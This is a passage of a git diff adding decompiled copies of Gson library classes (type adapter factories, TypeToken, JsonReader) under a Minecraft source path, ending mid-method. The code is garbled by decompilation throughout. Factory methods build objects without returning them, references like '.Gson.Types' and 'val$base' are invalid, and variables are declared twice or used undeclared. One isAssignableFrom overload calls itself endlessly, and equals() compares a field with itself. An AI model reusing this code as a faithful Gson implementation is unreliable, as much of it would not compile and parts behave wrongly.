+      public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+        Class<? super T> rawType = typeToken.getRawType();
+        return (rawType == val$unboxed) || (rawType == boxed) ? typeAdapter : null;
+      }
+      
+      public String toString() { return "Factory[type=" + boxed.getName() + "+" + val$unboxed.getName() + ",adapter=" + typeAdapter + "]"; }
+    };
+  }
+  
+
+
+  public static <TT> TypeAdapterFactory newFactoryForMultipleTypes(Class<TT> base, final Class<? extends TT> sub, final TypeAdapter<? super TT> typeAdapter)
+  {
+    new TypeAdapterFactory()
+    {
+      public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+        Class<? super T> rawType = typeToken.getRawType();
+        return (rawType == val$base) || (rawType == sub) ? typeAdapter : null;
+      }
+      
+      public String toString() { return "Factory[type=" + val$base.getName() + "+" + sub.getName() + ",adapter=" + typeAdapter + "]"; }
+    };
+  }
+  
+
+
+  public static <TT> TypeAdapterFactory newTypeHierarchyFactory(Class<TT> clazz, final TypeAdapter<TT> typeAdapter)
+  {
+    new TypeAdapterFactory()
+    {
+      public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+        return val$clazz.isAssignableFrom(typeToken.getRawType()) ? typeAdapter : null;
+      }
+      
+      public String toString() { return "Factory[typeHierarchy=" + val$clazz.getName() + ",adapter=" + typeAdapter + "]"; }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/gson/reflect/TypeToken.java b/src/minecraft/com/google/gson/reflect/TypeToken.java
new file mode 100644
index 0000000..56307bf
--- /dev/null
+++ b/src/minecraft/com/google/gson/reflect/TypeToken.java
@@ -0,0 +1,305 @@
+package com.google.gson.reflect;
+
+import com.google.gson.internal..Gson.Preconditions;
+import com.google.gson.internal..Gson.Types;
+import java.lang.reflect.GenericArrayType;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TypeToken<T>
+{
+  final Class<? super T> rawType;
+  final Type type;
+  final int hashCode;
+  
+  protected TypeToken()
+  {
+    type = getSuperclassTypeParameter(getClass());
+    rawType = .Gson.Types.getRawType(type);
+    hashCode = type.hashCode();
+  }
+  
+
+
+
+  TypeToken(Type type)
+  {
+    this.type = .Gson.Types.canonicalize((Type).Gson.Preconditions.checkNotNull(type));
+    rawType = .Gson.Types.getRawType(this.type);
+    hashCode = this.type.hashCode();
+  }
+  
+
+
+
+  static Type getSuperclassTypeParameter(Class<?> subclass)
+  {
+    Type superclass = subclass.getGenericSuperclass();
+    if ((superclass instanceof Class)) {
+      throw new RuntimeException("Missing type parameter.");
+    }
+    ParameterizedType parameterized = (ParameterizedType)superclass;
+    return .Gson.Types.canonicalize(parameterized.getActualTypeArguments()[0]);
+  }
+  
+
+
+  public final Class<? super T> getRawType()
+  {
+    return rawType;
+  }
+  
+
+
+  public final Type getType()
+  {
+    return type;
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public boolean isAssignableFrom(Class<?> cls)
+  {
+    return isAssignableFrom(cls);
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public boolean isAssignableFrom(Type from)
+  {
+    if (from == null) {
+      return false;
+    }
+    
+    if (type.equals(from)) {
+      return true;
+    }
+    
+    if ((type instanceof Class))
+      return rawType.isAssignableFrom(.Gson.Types.getRawType(from));
+    if ((type instanceof ParameterizedType)) {
+      return isAssignableFrom(from, (ParameterizedType)type, new HashMap());
+    }
+    if ((type instanceof GenericArrayType)) {
+      return (rawType.isAssignableFrom(.Gson.Types.getRawType(from))) && (isAssignableFrom(from, (GenericArrayType)type));
+    }
+    
+    throw buildUnexpectedTypeError(type, new Class[] { Class.class, ParameterizedType.class, GenericArrayType.class });
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public boolean isAssignableFrom(TypeToken<?> token)
+  {
+    return isAssignableFrom(token.getType());
+  }
+  
+
+
+
+  private static boolean isAssignableFrom(Type from, GenericArrayType to)
+  {
+    Type toGenericComponentType = to.getGenericComponentType();
+    if ((toGenericComponentType instanceof ParameterizedType)) {
+      Type t = from;
+      if ((from instanceof GenericArrayType)) {
+        t = ((GenericArrayType)from).getGenericComponentType();
+      } else if ((from instanceof Class)) {
+        Class<?> classType = (Class)from;
+        while (classType.isArray()) {
+          classType = classType.getComponentType();
+        }
+        t = classType;
+      }
+      return isAssignableFrom(t, (ParameterizedType)toGenericComponentType, new HashMap());
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+
+  private static boolean isAssignableFrom(Type from, ParameterizedType to, Map<String, Type> typeVarMap)
+  {
+    if (from == null) {
+      return false;
+    }
+    
+    if (to.equals(from)) {
+      return true;
+    }
+    
+
+    Class<?> clazz = .Gson.Types.getRawType(from);
+    ParameterizedType ptype = null;
+    if ((from instanceof ParameterizedType)) {
+      ptype = (ParameterizedType)from;
+    }
+    
+
+    if (ptype != null) {
+      Type[] tArgs = ptype.getActualTypeArguments();
+      TypeVariable<?>[] tParams = clazz.getTypeParameters();
+      for (int i = 0; i < tArgs.length; i++) {
+        Type arg = tArgs[i];
+        TypeVariable<?> var = tParams[i];
+        while ((arg instanceof TypeVariable)) {
+          TypeVariable<?> v = (TypeVariable)arg;
+          arg = (Type)typeVarMap.get(v.getName());
+        }
+        typeVarMap.put(var.getName(), arg);
+      }
+      
+
+      if (typeEquals(ptype, to, typeVarMap)) {
+        return true;
+      }
+    }
+    
+    for (Type itype : clazz.getGenericInterfaces()) {
+      if (isAssignableFrom(itype, to, new HashMap(typeVarMap))) {
+        return true;
+      }
+    }
+    
+
+    Type sType = clazz.getGenericSuperclass();
+    return isAssignableFrom(sType, to, new HashMap(typeVarMap));
+  }
+  
+
+
+
+
+  private static boolean typeEquals(ParameterizedType from, ParameterizedType to, Map<String, Type> typeVarMap)
+  {
+    if (from.getRawType().equals(to.getRawType())) {
+      Type[] fromArgs = from.getActualTypeArguments();
+      Type[] toArgs = to.getActualTypeArguments();
+      for (int i = 0; i < fromArgs.length; i++) {
+        if (!matches(fromArgs[i], toArgs[i], typeVarMap)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    return false;
+  }
+  
+
+
+  private static AssertionError buildUnexpectedTypeError(Type token, Class<?>... expected)
+  {
+    StringBuilder exceptionMessage = new StringBuilder("Unexpected type. Expected one of: ");
+    
+    for (Class<?> clazz : expected) {
+      exceptionMessage.append(clazz.getName()).append(", ");
+    }
+    exceptionMessage.append("but got: ").append(token.getClass().getName()).append(", for type token: ").append(token.toString()).append('.');
+    
+
+    return new AssertionError(exceptionMessage.toString());
+  }
+  
+
+
+
+  private static boolean matches(Type from, Type to, Map<String, Type> typeMap)
+  {
+    return (to.equals(from)) || (((from instanceof TypeVariable)) && (to.equals(typeMap.get(((TypeVariable)from).getName()))));
+  }
+  
+
+
+  public final int hashCode()
+  {
+    return hashCode;
+  }
+  
+  public final boolean equals(Object o) {
+    return ((o instanceof TypeToken)) && (.Gson.Types.equals(type, type));
+  }
+  
+  public final String toString()
+  {
+    return .Gson.Types.typeToString(type);
+  }
+  
+
+
+  public static TypeToken<?> get(Type type)
+  {
+    return new TypeToken(type);
+  }
+  
+
+
+  public static <T> TypeToken<T> get(Class<T> type)
+  {
+    return new TypeToken(type);
+  }
+}
diff --git a/src/minecraft/com/google/gson/stream/JsonReader.java b/src/minecraft/com/google/gson/stream/JsonReader.java
new file mode 100644
index 0000000..fa0e46d
--- /dev/null
+++ b/src/minecraft/com/google/gson/stream/JsonReader.java
@@ -0,0 +1,1575 @@
+package com.google.gson.stream;
+
+import com.google.gson.internal.JsonReaderInternalAccess;
+import com.google.gson.internal.bind.JsonTreeReader;
+import java.io.Closeable;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.Reader;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JsonReader
+  implements Closeable
+{
+  private static final char[] NON_EXECUTE_PREFIX = ")]}'\n".toCharArray();
+  
+  private static final long MIN_INCOMPLETE_INTEGER = -922337203685477580L;
+  
+  private static final int PEEKED_NONE = 0;
+  
+  private static final int PEEKED_BEGIN_OBJECT = 1;
+  
+  private static final int PEEKED_END_OBJECT = 2;
+  
+  private static final int PEEKED_BEGIN_ARRAY = 3;
+  
+  private static final int PEEKED_END_ARRAY = 4;
+  
+  private static final int PEEKED_TRUE = 5;
+  
+  private static final int PEEKED_FALSE = 6;
+  
+  private static final int PEEKED_NULL = 7;
+  private static final int PEEKED_SINGLE_QUOTED = 8;
+  private static final int PEEKED_DOUBLE_QUOTED = 9;
+  private static final int PEEKED_UNQUOTED = 10;
+  private static final int PEEKED_BUFFERED = 11;
+  private static final int PEEKED_SINGLE_QUOTED_NAME = 12;
+  private static final int PEEKED_DOUBLE_QUOTED_NAME = 13;
+  private static final int PEEKED_UNQUOTED_NAME = 14;
+  private static final int PEEKED_LONG = 15;
+  private static final int PEEKED_NUMBER = 16;
+  private static final int PEEKED_EOF = 17;
+  private static final int NUMBER_CHAR_NONE = 0;
+  private static final int NUMBER_CHAR_SIGN = 1;
+  private static final int NUMBER_CHAR_DIGIT = 2;
+  private static final int NUMBER_CHAR_DECIMAL = 3;
+  private static final int NUMBER_CHAR_FRACTION_DIGIT = 4;
+  private static final int NUMBER_CHAR_EXP_E = 5;
+  private static final int NUMBER_CHAR_EXP_SIGN = 6;
+  private static final int NUMBER_CHAR_EXP_DIGIT = 7;
+  private final Reader in;
+  private boolean lenient = false;
+  
+
+
+
+
+
+
+  private final char[] buffer = new char['Ѐ'];
+  private int pos = 0;
+  private int limit = 0;
+  
+  private int lineNumber = 0;
+  private int lineStart = 0;
+  
+  private int peeked = 0;
+  
+
+
+
+
+  private long peekedLong;
+  
+
+
+
+
+  private int peekedNumberLength;
+  
+
+
+
+
+  private String peekedString;
+  
+
+
+
+
+  private int[] stack = new int[32];
+  private int stackSize = 0;
+  
+  public JsonReader(Reader in) { stack[(stackSize++)] = 6;
+    
+
+
+
+
+
+    if (in == null) {
+      throw new NullPointerException("in == null");
+    }
+    this.in = in;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void setLenient(boolean lenient)
+  {
+    this.lenient = lenient;
+  }
+  
+
+
+  public final boolean isLenient()
+  {
+    return lenient;
+  }
+  
+
+
+  public void beginArray()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    if (p == 3) {
+      push(1);
+      peeked = 0;
+    } else {
+      throw new IllegalStateException("Expected BEGIN_ARRAY but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+  }
+  
+
+
+
+  public void endArray()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    if (p == 4) {
+      stackSize -= 1;
+      peeked = 0;
+    } else {
+      throw new IllegalStateException("Expected END_ARRAY but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+  }
+  
+
+
+
+  public void beginObject()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    if (p == 1) {
+      push(3);
+      peeked = 0;
+    } else {
+      throw new IllegalStateException("Expected BEGIN_OBJECT but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+  }
+  
+
+
+
+  public void endObject()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    if (p == 2) {
+      stackSize -= 1;
+      peeked = 0;
+    } else {
+      throw new IllegalStateException("Expected END_OBJECT but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+  }
+  
+
+
+  public boolean hasNext()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    return (p != 2) && (p != 4);
+  }
+  
+
+  public JsonToken peek()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    
+    switch (p) {
+    case 1: 
+      return JsonToken.BEGIN_OBJECT;
+    case 2: 
+      return JsonToken.END_OBJECT;
+    case 3: 
+      return JsonToken.BEGIN_ARRAY;
+    case 4: 
+      return JsonToken.END_ARRAY;
+    case 12: 
+    case 13: 
+    case 14: 
+      return JsonToken.NAME;
+    case 5: 
+    case 6: 
+      return JsonToken.BOOLEAN;
+    case 7: 
+      return JsonToken.NULL;
+    case 8: 
+    case 9: 
+    case 10: 
+    case 11: 
+      return JsonToken.STRING;
+    case 15: 
+    case 16: 
+      return JsonToken.NUMBER;
+    case 17: 
+      return JsonToken.END_DOCUMENT;
+    }
+    throw new AssertionError();
+  }
+  
+  private int doPeek() throws IOException
+  {
+    int peekStack = stack[(stackSize - 1)];
+    if (peekStack == 1) {
+      stack[(stackSize - 1)] = 2;
+    } else if (peekStack == 2)
+    {
+      int c = nextNonWhitespace(true);
+      switch (c) {
+      case 93: 
+        return this.peeked = 4;
+      case 59: 
+        checkLenient();
+      case 44: 
+        break;
+      default: 
+        throw syntaxError("Unterminated array"); }
+    } else {
+      if ((peekStack == 3) || (peekStack == 5)) {
+        stack[(stackSize - 1)] = 4;
+        
+        if (peekStack == 5) {
+          int c = nextNonWhitespace(true);
+          switch (c) {
+          case 125: 
+            return this.peeked = 2;
+          case 59: 
+            checkLenient();
+          case 44: 
+            break;
+          default: 
+            throw syntaxError("Unterminated object");
+          }
+        }
+        int c = nextNonWhitespace(true);
+        switch (c) {
+        case 34: 
+          return this.peeked = 13;
+        case 39: 
+          checkLenient();
+          return this.peeked = 12;
+        case 125: 
+          if (peekStack != 5) {
+            return this.peeked = 2;
+          }
+          throw syntaxError("Expected name");
+        }
+        
+        checkLenient();
+        pos -= 1;
+        if (isLiteral((char)c)) {
+          return this.peeked = 14;
+        }
+        throw syntaxError("Expected name");
+      }
+      
+      if (peekStack == 4) {
+        stack[(stackSize - 1)] = 5;
+        
+        int c = nextNonWhitespace(true);
+        switch (c) {
+        case 58: 
+          break;
+        case 61: 
+          checkLenient();
+          if (((pos < limit) || (fillBuffer(1))) && (buffer[pos] == '>')) {
+            pos += 1;
+          }
+          break;
+        default: 
+          throw syntaxError("Expected ':'");
+        }
+      } else if (peekStack == 6) {
+        if (lenient) {
+          consumeNonExecutePrefix();
+        }
+        stack[(stackSize - 1)] = 7;
+      } else if (peekStack == 7) {
+        int c = nextNonWhitespace(false);
+        if (c == -1) {
+          return this.peeked = 17;
+        }
+        checkLenient();
+        pos -= 1;
+      }
+      else if (peekStack == 8) {
+        throw new IllegalStateException("JsonReader is closed");
+      }
+    }
+    int c = nextNonWhitespace(true);
+    switch (c) {
+    case 93: 
+      if (peekStack == 1) {
+        return this.peeked = 4;
+      }
+    
+
+    case 44: 
+    case 59: 
+      if ((peekStack == 1) || (peekStack == 2)) {
+        checkLenient();
+        pos -= 1;
+        return this.peeked = 7;
+      }
+      throw syntaxError("Unexpected value");
+    
+    case 39: 
+      checkLenient();
+      return this.peeked = 8;
+    case 34: 
+      if (stackSize == 1) {
+        checkLenient();
+      }
+      return this.peeked = 9;
+    case 91: 
+      return this.peeked = 3;
+    case 123: 
+      return this.peeked = 1;
+    }
+    pos -= 1;
+    
+
+    if (stackSize == 1) {
+      checkLenient();
+    }
+    
+    int result = peekKeyword();
+    if (result != 0) {
+      return result;
+    }
+    
+    result = peekNumber();
+    if (result != 0) {
+      return result;
+    }
+    
+    if (!isLiteral(buffer[pos])) {
+      throw syntaxError("Expected value");
+    }
+    
+    checkLenient();
+    return this.peeked = 10;
+  }
+  
+  private int peekKeyword() throws IOException
+  {
+    char c = buffer[pos];
+    
+    int peeking;
+    
+    if ((c == 't') || (c == 'T')) {
+      String keyword = "true";
+      String keywordUpper = "TRUE";
+      peeking = 5; } else { int peeking;
+      if ((c == 'f') || (c == 'F')) {
+        String keyword = "false";
+        String keywordUpper = "FALSE";
+        peeking = 6; } else { int peeking;
+        if ((c == 'n') || (c == 'N')) {
+          String keyword = "null";
+          String keywordUpper = "NULL";
+          peeking = 7;
+        } else {
+          return 0; } } }
+    int peeking;
+    String keywordUpper;
+    String keyword;
+    int length = keyword.length();
+    for (int i = 1; i < length; i++) {
+      if ((pos + i >= limit) && (!fillBuffer(i + 1))) {
+        return 0;
+      }
+      c = buffer[(pos + i)];
+      if ((c != keyword.charAt(i)) && (c != keywordUpper.charAt(i))) {
+        return 0;
+      }
+    }
+    
+    if (((pos + length < limit) || (fillBuffer(length + 1))) && (isLiteral(buffer[(pos + length)])))
+    {
+      return 0;
+    }
+    
+
+    pos += length;
+    return this.peeked = peeking;
+  }
+  
+  private int peekNumber() throws IOException
+  {
+    char[] buffer = this.buffer;
+    int p = pos;
+    int l = limit;
+    
+    long value = 0L;
+    boolean negative = false;
+    boolean fitsInLong = true;
+    int last = 0;
+    
+    int i = 0;
+    for (;; 
+        
+        i++) {
+      if (p + i == l) {
+        if (i == buffer.length)
+        {
+
+          return 0;
+        }
+        if (!fillBuffer(i + 1)) {
+          break;
+        }
+        p = pos;
+        l = limit;
+      }
+      
+      char c = buffer[(p + i)];
+      switch (c) {
+      case '-': 
+        if (last == 0) {
+          negative = true;
+          last = 1;
+        }
+        else if (last == 5) {
+          last = 6;
+        }
+        else {
+          return 0;
+        }
+        break;
+      case '+':  if (last == 5) {
+          last = 6;
+        }
+        else {
+          return 0;
+        }
+        break;
+      case 'E': case 'e': 
+        if ((last == 2) || (last == 4)) {
+          last = 5;
+        }
+        else
+          return 0;
+        break;
+      case '.': 
+        if (last == 2) {
+          last = 3;
+        }
+        else
+          return 0;
+        break;
+      default: 
+        if ((c < '0') || (c > '9')) {
+          if (!isLiteral(c)) {
+            break label372;
+          }
+          return 0;
+        }
+        if ((last == 1) || (last == 0)) {
+          value = -(c - '0');
+          last = 2;
+        } else if (last == 2) {
+          if (value == 0L) {
+            return 0;
+          }
+          long newValue = value * 10L - (c - '0');
+          fitsInLong &= ((value > -922337203685477580L) || ((value == -922337203685477580L) && (newValue < value)));
+          
+          value = newValue;
+        } else if (last == 3) {
+          last = 4;
+        } else if ((last == 5) || (last == 6)) {
+          last = 7;
+        }
+        break;
+      }
+    }
+    label372:
+    if ((last == 2) && (fitsInLong) && ((value != Long.MIN_VALUE) || (negative))) {
+      peekedLong = (negative ? value : -value);
+      pos += i;
+      return this.peeked = 15; }
+    if ((last == 2) || (last == 4) || (last == 7))
+    {
+      peekedNumberLength = i;
+      return this.peeked = 16;
+    }
+    return 0;
+  }
+  
+  private boolean isLiteral(char c) throws IOException
+  {
+    switch (c) {
+    case '#': 
+    case '/': 
+    case ';': 
+    case '=': 
+    case '\\': 
+      checkLenient();
+    case '\t': 
+    case '\n': 
+    case '\f': 
+    case '\r': 
+    case ' ': 
+    case ',': 
+    case ':': 
+    case '[': 
+    case ']': 
+    case '{': 
+    case '}': 
+      return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+  public String nextName()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    String result;
+    if (p == 14) {
+      result = nextUnquotedValue(); } else { String result;
+      if (p == 12) {
+        result = nextQuotedValue('\''); } else { String result;
+        if (p == 13) {
+          result = nextQuotedValue('"');
+        } else
+          throw new IllegalStateException("Expected a name but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+      } }
+    String result;
+    peeked = 0;
+    return result;
+  }
+  
+
+
+
+
+
+
+  public String nextString()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    String result;
+    if (p == 10) {
+      result = nextUnquotedValue(); } else { String result;
+      if (p == 8) {
+        result = nextQuotedValue('\''); } else { String result;
+        if (p == 9) {
+          result = nextQuotedValue('"');
+        } else if (p == 11) {
+          String result = peekedString;
+          peekedString = null; } else { String result;
+          if (p == 15) {
+            result = Long.toString(peekedLong);
+          } else if (p == 16) {
+            String result = new String(buffer, pos, peekedNumberLength);
+            pos += peekedNumberLength;
+          } else {
+            throw new IllegalStateException("Expected a string but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+          } } } }
+    String result;
+    peeked = 0;
+    return result;
+  }
+  
+
+
+
+
+
+  public boolean nextBoolean()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    if (p == 5) {
+      peeked = 0;
+      return true; }
+    if (p == 6) {
+      peeked = 0;
+      return false;
+    }
+    throw new IllegalStateException("Expected a boolean but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+  }
+  
+
+
+
+
+
+
+  public void nextNull()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    if (p == 7) {
+      peeked = 0;
+    } else {
+      throw new IllegalStateException("Expected null but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public double nextDouble()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    
+    if (p == 15) {
+      peeked = 0;
+      return peekedLong;
+    }
+    
+    if (p == 16) {
+      peekedString = new String(buffer, pos, peekedNumberLength);
+      pos += peekedNumberLength;
+    } else if ((p == 8) || (p == 9)) {
+      peekedString = nextQuotedValue(p == 8 ? '\'' : '"');
+    } else if (p == 10) {
+      peekedString = nextUnquotedValue();
+    } else if (p != 11) {
+      throw new IllegalStateException("Expected a double but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+    
+
+    peeked = 11;
+    double result = Double.parseDouble(peekedString);
+    if ((!lenient) && ((Double.isNaN(result)) || (Double.isInfinite(result)))) {
+      throw new MalformedJsonException("JSON forbids NaN and infinities: " + result + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+    
+    peekedString = null;
+    peeked = 0;
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+  public long nextLong()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    
+    if (p == 15) {
+      peeked = 0;
+      return peekedLong;
+    }
+    
+    if (p == 16) {
+      peekedString = new String(buffer, pos, peekedNumberLength);
+      pos += peekedNumberLength;
+    } else if ((p == 8) || (p == 9)) {
+      peekedString = nextQuotedValue(p == 8 ? '\'' : '"');
+      try {
+        long result = Long.parseLong(peekedString);
+        peeked = 0;
+        return result;
+      }
+      catch (NumberFormatException ignored) {}
+    }
+    else {
+      throw new IllegalStateException("Expected a long but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+    
+
+    peeked = 11;
+    double asDouble = Double.parseDouble(peekedString);
+    long result = asDouble;
+    if (result != asDouble) {
+      throw new NumberFormatException("Expected a long but was " + peekedString + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+    
+    peekedString = null;
+    peeked = 0;
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private String nextQuotedValue(char quote)
+    throws IOException
+  {
+    char[] buffer = this.buffer;
+    StringBuilder builder = new StringBuilder();
+    for (;;) {
+      int p = pos;
+      int l = limit;
+      
+      int start = p;
+      while (p < l) {
+        int c = buffer[(p++)];
+        
+        if (c == quote) {
+          pos = p;
+          builder.append(buffer, start, p - start - 1);
+          return builder.toString(); }
+        if (c == 92) {
+          pos = p;
+          builder.append(buffer, start, p - start - 1);
+          builder.append(readEscapeCharacter());
+          p = pos;
+          l = limit;
+          start = p;
+        } else if (c == 10) {
+          lineNumber += 1;
+          lineStart = p;
+        }
+      }
+      
+      builder.append(buffer, start, p - start);
+      pos = p;
+      if (!fillBuffer(1)) {
+        throw syntaxError("Unterminated string");
+      }
+    }
+  }
+  
+
+
+  private String nextUnquotedValue()
+    throws IOException
+  {
+    StringBuilder builder = null;
+    int i = 0;
+    
+    for (;;)
+    {
+      if (pos + i < limit) {
+        switch (buffer[(pos + i)]) {
+        case '#': 
+        case '/': 
+        case ';': 
+        case '=': 
+        case '\\': 
+          checkLenient();
+        case '\t': 
+        case '\n': 
+        case '\f': 
+        case '\r': 
+        case ' ': 
+        case ',': 
+        case ':': 
+        case '[': 
+        case ']': 
+        case '{': 
+        case '}': 
+          break;
+        default: 
+          i++;break;
+        
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+        }
+        
+      }
+      else if (i < buffer.length) {
+        if (!fillBuffer(i + 1)) {
+          break;
+        }
+        
+
+      }
+      else
+      {
+        if (builder == null) {
+          builder = new StringBuilder();
+        }
+        builder.append(buffer, pos, i);
+        pos += i;
+        i = 0;
+        if (!fillBuffer(1))
+          break;
+      }
+    }
+    String result;
+    String result;
+    if (builder == null) {
+      result = new String(buffer, pos, i);
+    } else {
+      builder.append(buffer, pos, i);
+      result = builder.toString();
+    }
+    pos += i;
+    return result;
+  }
+  
+  private void skipQuotedValue(char quote) throws IOException
+  {
+    char[] buffer = this.buffer;
+    do {
+      int p = pos;
+      int l = limit;
+      
+      while (p < l) {
+        int c = buffer[(p++)];
+        if (c == quote) {
+          pos = p;
+          return; }
+        if (c == 92) {
+          pos = p;
+          readEscapeCharacter();
+          p = pos;
+          l = limit;
+        } else if (c == 10) {
+          lineNumber += 1;
+          lineStart = p;
+        }
+      }
+      pos = p;
+    } while (fillBuffer(1));
+    throw syntaxError("Unterminated string");
+  }
+  
+  private void skipUnquotedValue() throws IOException {
+    do {
+      for (int i = 0; 
+          pos + i < limit; i++) {
+        switch (buffer[(pos + i)]) {
+        case '#': 
+        case '/': 
+        case ';': 
+        case '=': 
+        case '\\': 
+          checkLenient();
+        case '\t': 
+        case '\n': 
+        case '\f': 
+        case '\r': 
+        case ' ': 
+        case ',': 
+        case ':': 
+        case '[': 
+        case ']': 
+        case '{': 
+        case '}': 
+          pos += i;
+          return;
+        }
+      }
+      pos += i;
+    } while (fillBuffer(1));
+  }
+  
+
+
+
+
+
+
+
+
+  public int nextInt()
+    throws IOException
+  {
+    int p = peeked;
+    if (p == 0) {
+      p = doPeek();
+    }
+    
+
+    if (p == 15) {
+      int result = (int)peekedLong;
+      if (peekedLong != result) {
+        throw new NumberFormatException("Expected an int but was " + peekedLong + " at line " + getLineNumber() + " column " + getColumnNumber());
+      }
+      
+      peeked = 0;
+      return result;
+    }
+    
+    if (p == 16) {
+      peekedString = new String(buffer, pos, peekedNumberLength);
+      pos += peekedNumberLength;
+    } else if ((p == 8) || (p == 9)) {
+      peekedString = nextQuotedValue(p == 8 ? '\'' : '"');
+      try {
+        result = Integer.parseInt(peekedString);
+        peeked = 0;
+        return result;
+      }
+      catch (NumberFormatException ignored) {}
+    }
+    else {
+      throw new IllegalStateException("Expected an int but was " + peek() + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+    
+
+    peeked = 11;
+    double asDouble = Double.parseDouble(peekedString);
+    int result = (int)asDouble;
+    if (result != asDouble) {
+      throw new NumberFormatException("Expected an int but was " + peekedString + " at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+    
+    peekedString = null;
+    peeked = 0;
+    return result;
+  }
+  
+
+  public void close()
+    throws IOException
+  {
+    peeked = 0;
+    stack[0] = 8;
+    stackSize = 1;
+    in.close();
+  }
+  
+
+
+
+  public void skipValue()
+    throws IOException
+  {
+    int count = 0;
+    do {
+      int p = peeked;
+      if (p == 0) {
+        p = doPeek();
+      }
+      
+      if (p == 3) {
+        push(1);
+        count++;
+      } else if (p == 1) {
+        push(3);
+        count++;
+      } else if (p == 4) {
+        stackSize -= 1;
+        count--;
+      } else if (p == 2) {
+        stackSize -= 1;
+        count--;
+      } else if ((p == 14) || (p == 10)) {
+        skipUnquotedValue();
+      } else if ((p == 8) || (p == 12)) {
+        skipQuotedValue('\'');
+      } else if ((p == 9) || (p == 13)) {
+        skipQuotedValue('"');
+      } else if (p == 16) {
+        pos += peekedNumberLength;
+      }
+      peeked = 0;
+    } while (count != 0);
+  }
+  
+  private void push(int newTop) {
+    if (stackSize == stack.length) {
+      int[] newStack = new int[stackSize * 2];
+      System.arraycopy(stack, 0, newStack, 0, stackSize);
+      stack = newStack;
+    }
+    stack[(stackSize++)] = newTop;
+  }
+  
+
+
+
+  private boolean fillBuffer(int minimum)
+    throws IOException
+  {
+    char[] buffer = this.buffer;
+    lineStart -= pos;
+    if (limit != pos) {
+      limit -= pos;
+      System.arraycopy(buffer, pos, buffer, 0, limit);
+    } else {
+      limit = 0;
+    }
+    
+    pos = 0;
+    int total;
+    while ((total = in.read(buffer, limit, buffer.length - limit)) != -1) {
+      limit += total;
+      
+
+      if ((lineNumber == 0) && (lineStart == 0) && (limit > 0) && (buffer[0] == 65279)) {
+        pos += 1;
+        lineStart += 1;
+        minimum++;
+      }
+      
+      if (limit >= minimum) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  private int getLineNumber() {
+    return lineNumber + 1;
+  }
+  
+  private int getColumnNumber() {
+    return pos - lineStart + 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private int nextNonWhitespace(boolean throwOnEof)
+    throws IOException
+  {
+    char[] buffer = this.buffer;
